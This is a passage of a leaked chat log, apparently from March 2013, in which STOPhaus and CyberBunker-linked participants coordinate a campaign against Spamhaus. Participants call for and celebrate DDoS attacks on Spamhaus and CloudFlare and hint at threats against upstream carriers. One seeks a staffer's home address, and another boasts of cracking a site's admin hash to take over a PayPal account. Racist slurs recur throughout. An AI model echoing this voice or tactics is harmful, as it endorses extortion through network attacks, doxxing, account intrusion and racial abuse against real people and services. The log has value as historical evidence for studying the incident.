5929[21.03.2013 18:44:51] Valeriy Uhov: they close for spam
5930[21.03.2013 18:44:53] Valeriy Uhov: etc
5931[21.03.2013 18:44:59] eDataKing: what is spam again?
5932[21.03.2013 18:45:37] Yuri: for INFORMATION: write to other one chat
5933[21.03.2013 18:45:47] Valeriy Uhov: which one?
5934[21.03.2013 18:46:09] Valeriy Uhov: http://en.wikipedia.org/wiki/Spam
5935[21.03.2013 18:48:50] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: steve linford has -6- people on facebook that like his wikipedia page.
5936[21.03.2013 18:48:53] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: -6- :P
5937[21.03.2013 18:48:56] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so why even bother lol
5938[22.03.2013 04:18:56] valeralelin: http://clip2net.com/s/4MLYWZ
5939[22.03.2013 04:41:13] narko: (party)
5940[22.03.2013 04:46:07] valeralelin: i can get more documents about sh
5941[22.03.2013 04:50:22] narko: get a document with his real address on it
5942[22.03.2013 04:50:25] narko: not some virtual offices
5943[22.03.2013 04:54:08] edataking: let me see that one
5944[22.03.2013 04:54:17] edataking: post under his name in the records area
5945[22.03.2013 04:54:30] narko: http://i.imgur.com/TxGqoNb.png (hug)
5946[22.03.2013 04:54:42] edataking: seen that lol
5947[22.03.2013 04:55:02] narko: ÑÂтøò úþ÷ёû
5948[22.03.2013 04:55:03] narko: yes
5949[22.03.2013 04:55:05] narko: this is another chat
5950[22.03.2013 04:55:07] narko: with other peoples
5951[22.03.2013 04:55:10] narko: who need to see my goat
5952[22.03.2013 04:55:13] narko: :Dd
5953[22.03.2013 04:55:39] edataking: ahh gotcha
5954[22.03.2013 04:55:41] edataking: :)
5955[22.03.2013 04:55:56] wmsecurity: for that pic, tomorrow imgur's /24 in SBL
5956[22.03.2013 04:56:00] wmsecurity: as they did already
5957[22.03.2013 04:56:10] narko: what about my blog site ? sbl?
5958[22.03.2013 04:56:13] narko: i'm not posting the urla nywhere
5959[22.03.2013 04:56:16] narko: anywhere **
5960[22.03.2013 04:56:28] wmsecurity: so they wont find it
5961[22.03.2013 04:56:36] narko: good
5962[22.03.2013 04:56:39] wmsecurity: just like they cant find the real crime domains
5963[22.03.2013 04:56:41] narko: latvian hosts usually dont like sbls
5964[22.03.2013 04:56:54] wmsecurity: lol yeah, especially them
5965[22.03.2013 04:57:04] wmsecurity: after all the country almost lost the internet because of them
5966[22.03.2013 04:57:08] narko: except of course. arbusi.net the amazing 100% bulletproof provider in latvia,EU. :)
5967[22.03.2013 04:57:13] narko: (rofl)
5968[22.03.2013 04:57:25] wmsecurity: arbusi are crap, whats good in them
5969[22.03.2013 04:57:31] narko: nothing
5970[22.03.2013 05:01:07] wmsecurity: dataclub, you know them narko?
5971[22.03.2013 05:01:13] narko: i am using them now
5972[22.03.2013 05:01:33] narko: my blog scamhaus.biz is hosted with them
5973[22.03.2013 05:02:00] simomchen: does SH will force them to shut down your blog ?
5974[22.03.2013 05:02:11] wmsecurity: you are violating their ToS now
5975[22.03.2013 05:02:18] narko: i don't know how they handle abuse/spamhaus. but when i bought a dedicated server from them ~2yrs ago they installed cracked windows for me happily. and gave me a free /24
5976[22.03.2013 05:02:38] wmsecurity: sites about terrorists are not allowed. that probably includes spamhaus
5977[22.03.2013 05:02:45] narko: lol
5978[22.03.2013 05:03:29] narko: i was really surprised. because I said i needed lots of ips for my server and thy just gave me a /24 :P
5979[22.03.2013 05:03:51] wmsecurity: wierd
5980[22.03.2013 05:03:57] wmsecurity: since they only have /21
5981[22.03.2013 05:04:04] narko: and their paypal got banned
5982[22.03.2013 05:04:16] narko: so i had to send payments to the owners paypal
5983[22.03.2013 05:04:48] wmsecurity: they gave you /14 of their ips :)
5984[22.03.2013 05:05:09] wmsecurity: 1/4*
5985[22.03.2013 05:05:25] narko: i had a big server
5986[22.03.2013 05:06:09] simomchen: so , is there possible that , we buy transit from dataclub ?
5987[22.03.2013 05:06:30] wmsecurity: idear - no, they are double homed only
5988[22.03.2013 05:06:40] wmsecurity: with ukrainian retn and latvian IZZI
5989[22.03.2013 05:06:47] wmsecurity: you dont want latvian bandwitdh :)
5990[22.03.2013 05:07:09] simomchen: it's fast when I access them in China
5991[22.03.2013 05:07:21] wmsecurity: get from retn
5992[22.03.2013 05:08:50] wmsecurity: http://www.retn.net/en/
5993[22.03.2013 05:11:50] narko: if I'm CF, I want to host spamhaus, so i can brag all over the internet how i'm hosting such a big and important site
5994[22.03.2013 05:13:54] simomchen: I got SBLed since 3 years ago (cool)
5995[22.03.2013 05:14:26] narko: my sister bought some ugg boots from a site hosted by you. and they never delivered!
5996[22.03.2013 05:14:30] narko: (envy)
5997[22.03.2013 05:14:51] simomchen: please show me the domain , I will cick that client
5998[22.03.2013 05:15:11] narko: it was almost 1 year ago. :) and they did a refund. because customs stole the package
5999[22.03.2013 05:15:15] narko: good client
6000[22.03.2013 05:15:42] simomchen: I noticed all of them before , 'replica is allowed , but cheat and pron is not allowed'
6001[22.03.2013 05:16:36] simomchen: we are fully listed because replica
6002[22.03.2013 05:17:13] wmsecurity: paid with paypal and they didnt want to refund. so i hacked the site, got the admin MD5, cracked it - and it was the same password from his paypal, so i refunded myself
6003[22.03.2013 05:17:13] simomchen: what issue you have Antitheist ?
6004[22.03.2013 05:17:19] wmsecurity: some pakistani asshole from UK
6005[22.03.2013 05:17:44] narko: pakistani always cheat and scam
6006[22.03.2013 05:17:44] simomchen: if all of them having any issue of idear's networking , please just let me know
6007[22.03.2013 05:18:02] narko: pakistani guy sold me fake pills
6008[22.03.2013 05:18:10] wmsecurity: doesnt spamhaus make your life hard because you are in top 5?
6009[22.03.2013 05:18:46] simomchen: our networking not allowed pills/drugs
6010[22.03.2013 05:19:10] narko: not on you. on another site. i bought some pills and they were fake shit made in a bathtub
6011[22.03.2013 05:19:47] wmsecurity: you got balls to eat pills you get from the internet :)
6012[22.03.2013 05:19:49] simomchen: as we dig, the 'Swiss watch association' give some benefit to SH, so , they started to list us since 3 years ago
6013[22.03.2013 05:20:38] edataking: After researching and compiling data, here is today's Press Release: http://pastebin.com/56ickG0c
6014[22.03.2013 05:34:55] wmsecurity: http://arstechnica.com/security/2013/03/how-whitehats-stopped-the-ddos-attack-that-knocked-spamhaus-offline/?utm_medium=twitter
6015[22.03.2013 05:35:21] wmsecurity: many people read ars, edata can you post comments there in native english?
6016[22.03.2013 05:35:38] narko: I will post comments in native english. i know how to speak like a real english person.
6017[22.03.2013 05:49:24] edataking: PRESS RELEASE FOR DISTRIBUTION:
6018http://www.briefingwire.com/pr/spamhaus-lies-and-misdirections-in-the-rokso-faq
6019[22.03.2013 05:50:55] edataking: yes, we love all that because America is essentially Irish, English, Itallion, German, and other immigrants that came here as either a safe haven, as slaves (in the African's case), or because we attacked their country because we are too stupid to realize that not every country wants to be like the US.
6020[22.03.2013 06:26:02] narko: if ahnames doesn't approve the transfer it will be completed after 5 full business days
6021[22.03.2013 06:26:17] edataking: they will approve it
6022[22.03.2013 06:26:22] edataking: why wouldn't they
6023[22.03.2013 06:26:27] narko: idk
6024[22.03.2013 06:26:35] edataking: that would be really st00pid
6025[22.03.2013 06:26:36] narko: when people transfer in domains to me
6026[22.03.2013 06:26:37] narko: my experience is
6027[22.03.2013 06:26:42] narko: it takes less than a day usually
6028[22.03.2013 06:26:46] edataking: yep
6029[22.03.2013 06:26:48] narko: if they old registrar doesnt approve it
6030[22.03.2013 06:26:51] narko: it takes 5 full days
6031[22.03.2013 06:27:16] edataking: then if they suspend it tomorrow claiming we didn't transfer it what do we do?
6032[22.03.2013 06:27:22] edataking: wait and focus on the real goal?
6033[22.03.2013 06:27:29] narko: ddos them again
6034[22.03.2013 06:27:43] edataking: I don't want the brand to be tarnished because SPamhaus will just say they won if the public thinks it is down
6035[22.03.2013 06:27:54] edataking: ok, then we'll hope all goes well
6036[22.03.2013 06:28:05] narko: put the site offline and say spamhaus is ddosing it
6037[22.03.2013 06:28:07] narko: lol
6038[22.03.2013 06:28:11] edataking: I hate when people are caught between SH and the right thing to do.
6039[22.03.2013 06:28:23] edataking: That's exactly what extortion is
6040[22.03.2013 06:29:11] edataking: let me catch up on the twitter feed and then add some more data to the forum. ttyl
6041[22.03.2013 06:30:14] narko: bye
6042[22.03.2013 06:36:57] edataking: I'll be here if needed though
6043[22.03.2013 08:14:21] edataking: getting a 504 on forum
6044[22.03.2013 08:14:32] edataking: seems to be lagging
6045[22.03.2013 08:15:19] edataking: 100% packet loss
6046[22.03.2013 08:15:46] edataking: yep, lagging like a mofo
6047[22.03.2013 08:16:08] nmetluk: Morning gentelmen:)
6048[22.03.2013 08:16:13] edataking: morning
6049[22.03.2013 08:16:21] edataking: have you read today's PR?
6050[22.03.2013 08:16:39] nmetluk: Not yet
6051[22.03.2013 08:20:21] Yuri: give us links
6052[22.03.2013 08:20:31] Yuri: vocility got escallations a lit bit
6053[22.03.2013 08:20:41] Yuri: domains transfer to nic.ru is in progress
6054[22.03.2013 08:21:02] edataking: :)
6055[22.03.2013 08:21:06] edataking: http://pastebin.com/56ickG0c
6056[22.03.2013 15:43:17] valeralelin: Spamhaus will live?
6057[22.03.2013 16:13:00] wmsecurity: [14:50:09] <ÃÂýôрõù (AH)> ÷ôõÑÂÑŒ?
6058[14:50:25] <ÃÂýôрõù (AH)> ôþüõýы ÑÂþñøрðõтõÑÂÑŒ ÿõрõýþÑÂøть?
6059[14:52:27] <ÃÂýôрõù (AH)> у òðѠõÑÂÑ‚ÑŒ òрõüѠôþ 16.00 GMT
6060[22.03.2013 16:13:13] wmsecurity: this asshole thinks he can threaten us or what?
6061[22.03.2013 16:13:44] Alex Optik: who is he?
6062[22.03.2013 16:13:48] Alex Optik: hoster?
6063[22.03.2013 16:13:52] wmsecurity: the domain registrar
6064[22.03.2013 16:13:58] Alex Optik: ahh
6065[22.03.2013 16:21:07] edataking: what is this about?
6066[22.03.2013 16:21:15] edataking: why is he threatening anyone
6067[22.03.2013 16:21:29] edataking: there is one domain in that account now and no one cares about them terminating it.
6068[22.03.2013 16:21:34] edataking: So, what is his deal?
6069[22.03.2013 16:22:07] edataking: As long as he suspends it, I will just backorder
6070[22.03.2013 16:22:22] wmsecurity: thats not good since we will be down again
6071[22.03.2013 16:24:04] edataking: I am confused, how is it that the new registrar sends me an email telling me that the transfer is completed and you are telling me it is not
6072[22.03.2013 16:24:10] edataking: what is whois saying
6073[22.03.2013 16:24:38] edataking: yeah, it still says evonames
6074[22.03.2013 16:24:43] wmsecurity: yeah
6075[22.03.2013 16:24:46] wmsecurity: thats the issue
6076[22.03.2013 16:24:53] wmsecurity: can you fwd me the nic.ru mail?
6077[22.03.2013 16:24:57] wmsecurity: admin@off-sho.re
6078[22.03.2013 16:26:53] edataking: There is a second email saying something about the Contract has been referred to a RU Partner Center
6079[22.03.2013 16:27:27] wmsecurity: we mustnt let it be held again
6080[22.03.2013 16:27:32] edataking: I don't know how this Russian registrar is working and my lack of wisdom here is harming us because I do not know what to do or what they are talking about in these emails
6081[22.03.2013 16:27:39] edataking: I forwarded you one already
6082[22.03.2013 16:30:10] wmsecurity: ok i see where the misunderstanding comes from
6083[22.03.2013 16:30:25] wmsecurity: this email only says that another person had been granted to use the nic.ru account
6084[22.03.2013 16:38:28] wmsecurity: Yuri, please solve it since its your nic.ruaccount
6085[22.03.2013 16:55:05] Yuri: i just back. i will check it in 60 mins
6086[22.03.2013 16:55:10] Yuri: lit busy
6087[22.03.2013 20:24:12] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: this here is the old one
6088[22.03.2013 20:26:34] nmetluk: :$
6089[22.03.2013 20:27:18] eDataKing: oh yeah, forgot about this place because of lack of participation.
6090[22.03.2013 20:27:28] eDataKing: Is there any reason to keep this group active?
6091[22.03.2013 20:27:41] Òðûõрøù Ûёûøý: no any voice chats
6092[22.03.2013 20:28:08] eDataKing: I think I am going to head out of here. See everyone on the forum :)
6093[22.03.2013 20:28:18] *** eDataKing quit ***
6094[22.03.2013 20:29:27] Yuri: may be only for some history if we need.
6095[22.03.2013 21:01:14] Mastermind of Possibilities: here is the old what?
6096[22.03.2013 21:01:20] Mastermind of Possibilities: so irc is gone eh?
6097[22.03.2013 21:13:02] Yuri: we are in new one chat
6098[22.03.2013 21:13:13] Yuri: all active persons there.
6099[23.03.2013 02:30:25] Mastermind of Possibilities: ok that is good. I didnt like the silent people
6100[23.03.2013 07:05:50] Mastermind of Possibilities: Down again?
6101[23.03.2013 07:06:10] narko: who?
6102[23.03.2013 07:06:33] Mastermind of Possibilities: stophaus
6103[23.03.2013 07:06:35] Mastermind of Possibilities: down
6104[23.03.2013 07:06:39] Mastermind of Possibilities: what happened this time?
6105[23.03.2013 07:11:40] Mastermind of Possibilities: Its back up
6106[23.03.2013 10:43:26] *** Andrei Stanchevici quit ***
6107[23.03.2013 16:41:24] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: its running into the 95% percentile bandwith billing on cloudflare's transits atm
6108[23.03.2013 16:41:43] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and cloudflare has network issues, so at some point they'll have to boot spamhaus as it affects their other clients
6109[23.03.2013 16:42:00] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: at which point, spamhaus has nowhere else to go that can cover them :P
6110[23.03.2013 16:42:13] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i doubt google is stupid enough to take them lol :P
6111[23.03.2013 16:42:22] narko: how do you know?
6112[23.03.2013 17:03:28] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP:
6113
6114 TheSTOPhaus Movement TheSTOPhaus Movement 'Â@stophaus 34s
6115
6116 You know, being listed on #spamhaus their illegal slander list, actually brings in fucktons of clients. thank you @spamhaus!
6117 Expand
6118 TheSTOPhaus Movement TheSTOPhaus Movement 'Â@stophaus 7m
6119
6120 All of us are Andrew Sven Olaf von CyberBunker, a Russian Spammer from CyberBunker, in Ohio, which is in Russia. obviously. @spamhaus
6121[23.03.2013 17:03:42] narko: lol
6122[23.03.2013 17:05:34] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP:
6123
6124 TheSTOPhaus Movement TheSTOPhaus Movement 'Â@stophaus now
6125
6126 @spamhaus what is your mindfuck? don't like russians? every time you try to accuse someone of something they're suddenly 'russian'
6127[23.03.2013 17:06:18] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP:
6128
6129 TheSTOPhaus Movement TheSTOPhaus Movement 'Â@stophaus now
6130
6131 @spamhaus inform putin that actually we would not mind a set of russian passports for all of us, would make a nice addition.
6132[23.03.2013 17:06:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lulz
6133[23.03.2013 17:06:28] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: fuck em :P
6134[23.03.2013 17:07:44] narko: (chuckle)
6135[23.03.2013 17:08:39] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP:
6136
6137 TheSTOPhaus Movement TheSTOPhaus Movement 'Â@stophaus now
6138
6139 @cloudflare, is keeping up the criminal spamhaus slander and blackmail project really worth the impact on paying customers?
6140[23.03.2013 17:09:30] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: TheSTOPhaus Movement 'Â@stophaus 5s
6141
6142@cloudflare ... so .. how did @spamhaus 'motivate' you to proxy them? 'we'll list your entire networks if you don't?'
6143[23.03.2013 17:39:28] Cali: eheh, it is so strange that to me it works perfectly.
6144[23.03.2013 17:40:04] Antitheist: it depends on your anycast location
6145[23.03.2013 17:40:21] Antitheist: afaik UK telia and equinix france should be down
6146[23.03.2013 17:42:42] Antitheist: @CloudFlare is not functioning in Rome, Italy, and parts of Germany.
6147
6148DavidHenderson 17:38web
6149[23.03.2013 17:43:38] narko: (highfive)
6150[23.03.2013 17:45:30] Antitheist: Rome? good, vatican left without pr0n
6151[23.03.2013 17:53:08] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP:
6152
6153 TheSTOPhaus Movement TheSTOPhaus Movement 'Â@stophaus 27s
6154
6155 @RNTata2000 @tata_comm now turn on AS34109 again, with EVERYTHING behind it... and send legal dept in the uk to file charges on spamhaus.
6156[23.03.2013 17:53:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: TheSTOPhaus Movement 'Â@stophaus 3m
6157
6158@RNTata2000 , @tata_comm so, you think its normal that the nerds in your NOC let your multinational be blackmailed by offshore spamhaus.
6159[23.03.2013 17:53:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: blatant abuse of the corporate twitter account to solve issues with our suppliers haha
6160[23.03.2013 17:53:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P
6161[23.03.2013 17:53:51] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: i'd say that should get their attention
6162[23.03.2013 17:53:51] narko: (flex)
6163[23.03.2013 17:54:02] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: seing that they don't have that much capacity outside of india lol
6164[23.03.2013 17:54:21] narko: who is this paki
6165[23.03.2013 17:54:24] narko: Ratan N Tata
6166[23.03.2013 17:54:41] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: he is the owner of tata
6167[23.03.2013 17:54:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ex-chairman
6168[23.03.2013 17:54:59] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: the heir to the guy that started tata (and owns half of india ;)
6169[23.03.2013 17:55:02] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well all of india actually
6170[23.03.2013 17:55:04] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
6171[23.03.2013 17:55:11] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: he pretty much owns everything in india haha
6172[23.03.2013 17:55:25] narko: lol
6173[23.03.2013 17:55:32] Cali: so cb3rob is coming back?
6174[23.03.2013 17:55:40] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and im quite sure that he's not aware of some dusty nerds in his noc allowing his empire to be blackmailed by 'the spamhaus project' on the bahamas
6175[23.03.2013 17:55:42] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
6176[23.03.2013 17:55:46] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: cali: guess so
6177[23.03.2013 17:55:51] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: ofcourse
6178[23.03.2013 17:56:23] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: if tata doesn't reconnect out of their own free will we can always make sure they understand there are worse things than a few sbl listings :P
6179[23.03.2013 17:56:34] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: same for tinet :P
6180[23.03.2013 17:56:34] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
6181[23.03.2013 17:57:04] Yuri: may be we can say that it's bad idea to disconnect somebody becouse spamhaus>
6182[23.03.2013 17:57:11] Yuri: so they can select ddos or spamhaus ?
6183[23.03.2013 17:57:16] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: "with everything behind it" includes all of your asn's btw :P
6184[23.03.2013 17:57:35] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well in business terms its a rather bad idea if your nerds in your noc cave in to the fucktard demands of random offshore limiteds
6185[23.03.2013 17:57:40] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: when you have offices full of legal department attorneys
6186[23.03.2013 17:57:45] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: that can take care of the offshore limited
6187[23.03.2013 17:57:46] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
6188[23.03.2013 17:57:55] Yuri: Sven, on our location we got new upstreams added. So we soon could make multiple connections to all
6189[23.03.2013 17:58:17] narko: http://www.spamhaus.org/sbl/latest/
6190[23.03.2013 17:58:26] narko: 108.162.193.0/32 cloudflare.com
6191OUT
6192[23.03.2013 17:58:30] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: bet theylisted twitter.com now :P
6193[23.03.2013 17:58:34] narko: "thank you cloudflare for not kicking us"
6194[23.03.2013 17:59:14] Yuri: where did they list twitter ?
6195[23.03.2013 18:01:44] narko: Network Jesus 'Â@networkjesus 1m
6196
6197whoa #CloudFlare dead?
6198[23.03.2013 18:01:50] narko: oops. LAX just went down. !! :D
6199[23.03.2013 18:03:07] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP:
6200
6201 TheSTOPhaus Movement TheSTOPhaus Movement 'Â@stophaus now
6202
6203 oops. LAX just went down. !! :D sorry bout that. better disconnect @spamhaus
6204[23.03.2013 18:03:20] narko: what happens if you attack peering?
6205[23.03.2013 18:03:22] narko: see this
6206[23.03.2013 18:03:27] narko: 2 core55.INET.telecoms.bg (88.213.213.9) 1.150 ms 1.055 ms 0.889 ms
62073 border2.telecoms.bg (217.79.95.66) 0.719 ms 1.127 ms 1.040 ms
62084 border1.telecoms.bg (217.79.78.229) 1.163 ms 1.078 ms 1.634 ms
62095 xe-5-1-0-207.sof-003-score-1-re1.interoute.net (195.81.49.49) 9.204 ms 9.178 ms 9.140 ms
62106 ae2-0.bud-001-score-1-re1.interoute.net (84.233.193.198) 38.613 ms 38.142 ms 38.035 ms
62117 ae2-0.prg-001-score-2-re1.interoute.net (84.233.138.213) 67.319 ms 67.252 ms 67.169 ms
62128 ae0-0.prg-001-score-1-re0.interoute.net (84.233.138.205) 30.261 ms 30.654 ms 30.663 ms
62139 ae2-0.fra-006-score-2-re0.interoute.net (84.233.138.210) 38.313 ms 38.193 ms 38.067 ms
621410 edge01.fra01.cloudflare.com (80.81.194.180) 41.603 ms 41.504 ms 41.411 ms
621511 141.101.113.216 (141.101.113.216) 38.606 ms 38.527 ms 39.093 ms
6216[23.03.2013 18:03:39] narko: edge01.fra01 is de-cix
6217[23.03.2013 18:11:33] Cali: https://www.cloudflare.com/system-status
6218[23.03.2013 18:11:47] Cali: only two of their POP show degradation.
6219[23.03.2013 18:12:23] narko: yes but it's enough to make many people unable access
6220[23.03.2013 18:12:43] Cali: I wish I would be unable to access as well though :)
6221[23.03.2013 18:13:06] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: TheSTOPhaus Movement 'Â@stophaus 7m
6222
6223@jamessenase Does your employer know you were recently a fugitive?http://po.st/XhcO5q
6224[23.03.2013 18:13:06] narko: send me a traceroute and i will try
6225[23.03.2013 18:13:07] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: hahaha
6226[23.03.2013 18:13:26] narko: by the way. i can't load system status
6227[23.03.2013 18:13:30] narko: Sorry, www.cloudflare.com is currently unavailable. Please try again soon.
6228[23.03.2013 18:13:32] narko: (yawn)
6229[23.03.2013 18:13:57] Cali: 6. ae3.scr4.FRA4.gblx.net 0.0% 11 32.4 32.4 32.4 32.6 0.1
62307. lag2.ar4.fra4.gblx.net 0.0% 11 31.9 33.1 31.8 39.1 2.4
62318. ???
62329. ???
623310. 141.101.123.216 0.0% 11 32.5 32.5 32.1 32.7 0.2
6234[23.03.2013 18:14:06] Yuri: make screenshort
6235[23.03.2013 18:14:10] Yuri: and upload to twitter
6236[23.03.2013 18:14:19] Yuri: stophaus
6237fucklinford
6238[23.03.2013 18:15:44] narko: @stophaus I can't imagine AS34109 will ever see the Internet again after all networks know Kamphius is the criminal did DDoS on @CloudFlare
6239[23.03.2013 18:15:55] narko: james (wait)
6240[23.03.2013 18:18:58] Cali: 3549 4436 13335 13335 13335, (aggregated by 13335 141.101.69.1)
6241[23.03.2013 18:19:00] Cali: Interesting.
6242[23.03.2013 18:23:47] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: TheSTOPhaus Movement 'Â@stophaus now
6243
6244CB3ROB-CyberBunker, the best ISP in the world, as stated by SpamHaus! strict provider immunity and only disconnects with a court order!
6245[23.03.2013 18:23:48] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
6246[23.03.2013 18:24:01] narko: my server is offline
6247[23.03.2013 18:24:01] narko: almost
6248[23.03.2013 18:24:08] narko: it up and down
6249[23.03.2013 18:24:20] narko: :^)
6250[23.03.2013 18:26:02] Yuri: at ecatel?
6251[23.03.2013 18:26:28] narko: no. DH.ua
6252[23.03.2013 18:26:44] Yuri: sec
6253[23.03.2013 18:26:50] Yuri: i ask your hosting boss
6254[23.03.2013 18:27:07] narko: i will ask him :P i have his icq
6255[23.03.2013 18:27:09] narko: http://www.webhostingtalk.com/showpost.php?p=8613162&postcount=15 maybe blacklotus wants to try hosting spamhaus ? ;)
6256[23.03.2013 18:30:33] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: TheSTOPhaus Movement 'Â@stophaus 7s
6257
6258omg we're gonna need a bigger internet to route the ddos to @spamhaus when more ppl wake up and start to fire their las0rs.
6259[23.03.2013 19:29:57] Mastermind of Possibilities: What type of attack is this anyhow?
6260[23.03.2013 19:30:42] narko: dennis hegstad 'Â@dennishegstad 57s
6261
6262@CloudFlare what is your return / cancelation policy? My site has had more downtime since adding your service
6263[23.03.2013 19:30:47] narko: udpa ttack
6264[23.03.2013 19:30:55] Mastermind of Possibilities: Lols
6265[23.03.2013 19:33:15] Mastermind of Possibilities: Oops lol
6266[23.03.2013 20:28:28] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP:https://greenhost.nl/2013/03/21/spam-not-spam-tracking-hijacked-spamhaus-ip/*replied*
6267[23.03.2013 20:30:28] Yuri: It seems clear that the CB3ROB network hijacked one (or more) of the IP addresses of Spamhaus, and installed a DNS server there which incorrectly returns positive results to every query
6268(y)
6269[23.03.2013 21:53:43] narko: Matthew Prince 'Â@eastdakota 3m
6270
6271@alanstott @CloudFlare usually whoever is the criminal is the one who ends up in jail in the end. Guess we'll see...
6272[23.03.2013 21:53:49] narko: we'll all be cellmates, ok?
6273[23.03.2013 21:58:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lulz
6274[24.03.2013 13:18:48] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well :P spamhaus has been shouting that we're criminals for the past 10 years or so... so far he's the one with an open invitation to a chinese labour camp :P
6275[24.03.2013 13:33:32] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: .
6276[24.03.2013 16:37:02] simomchen: simomchen:
6277<<< CF start to can handle the attack traffice from today
6278they announcing a email at ams-ix
6279Hello AMS-IX Peers,
6280
6281We're currently seeing a very large attack directed to our IP on AMS-IX (195.69.147.140).
6282
6283We request that all peers:
6284
62851) Don't carry this route (195.69.144.0/22) in your backbone. (you can set next-hop-self, etc). It'll save other security concerns and possible free transit you're giving away to others.
62862) Filter any traffic within to the AMS-IX exchange fabric (again, 195.69.144.0/22), except for your point to [multi]point BGP communications.
6287
6288[24.03.2013 16:37:36] nmetluk: ÑþÑÂý))
6289[24.03.2013 16:37:55] wmsecurity: ))
6290[24.03.2013 16:38:15] simomchen: so , keep going , they will , xxxxx
6291[24.03.2013 16:38:23] wmsecurity: meaning: old, outofdated known info
6292[24.03.2013 17:07:39] narko: ýõýðòøöу ðüõрøúу
6293[24.03.2013 17:07:44] narko: ðüõрøúðýцы тðúøõ туÿыõ ø тþÃȄÂтыõ
6294[24.03.2013 17:07:57] Yuri: yes. it is, there are a lot such people.
6295[24.03.2013 23:41:17] *** Mastermind of Possibilities quit ***
6296[25.03.2013 19:28:20] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: HAHA
6297[25.03.2013 19:28:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: guess he just knows a lot of niggas then
6298[25.03.2013 19:28:29] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: lol
6299[25.03.2013 20:10:30] narko: who?
6300[25.03.2013 20:28:11] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: 3 days ago
6301[25.03.2013 20:28:23] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: fucking skype still loading the chat again :P
6302[25.03.2013 20:28:33] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: takes ages every time i reboot :P
6303[25.03.2013 21:12:51] narko: hmmmm?
6304[25.03.2013 21:12:56] narko: i dont understnad what you talking about
6305[25.03.2013 21:12:57] narko: lol
6306[25.03.2013 21:23:45] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: well... every time i reboot/log out/log in... obviously the entire homedir is gone :P
6307[25.03.2013 21:23:55] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: not -that- stupid to leave customer conversations around on workstations lol
6308[25.03.2013 21:24:07] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: however it takes fucking ages to load the chat groups again
6309[25.03.2013 21:24:14] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and it doesn't have a date -in front- of the timestamp
6310[25.03.2013 21:24:24] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: so sometimes i think its done and reply to whatever was said last :P
6311[25.03.2013 21:24:31] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: and then it goes tsjoep tsjoep tsjoep again
6312[25.03.2013 21:24:35] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: with another few days or so
6313[25.03.2013 21:24:36] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: :P
6314[25.03.2013 21:24:57] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: the packetloss and half routing don't exactly help either :P
6315[25.03.2013 21:24:59] HRH Prinz Sven Olaf von CyberBunker-Kamphuis MP: *grin*
6316[25.03.2013 21:28:41] narko: (doh)
6317[25.03.2013 21:29:04] narko: how to report packetloss to china telecom?
6318[25.03.2013 21:29:16] narko: 5. xe-5-0-0.lax20.ip4.tinet.net 0.0% 411 12.0 15.6 11.9 97.1 11.4
63196. 219.158.33.49 22.4% 411 180.6 185.5 179.2 235.0 9.8
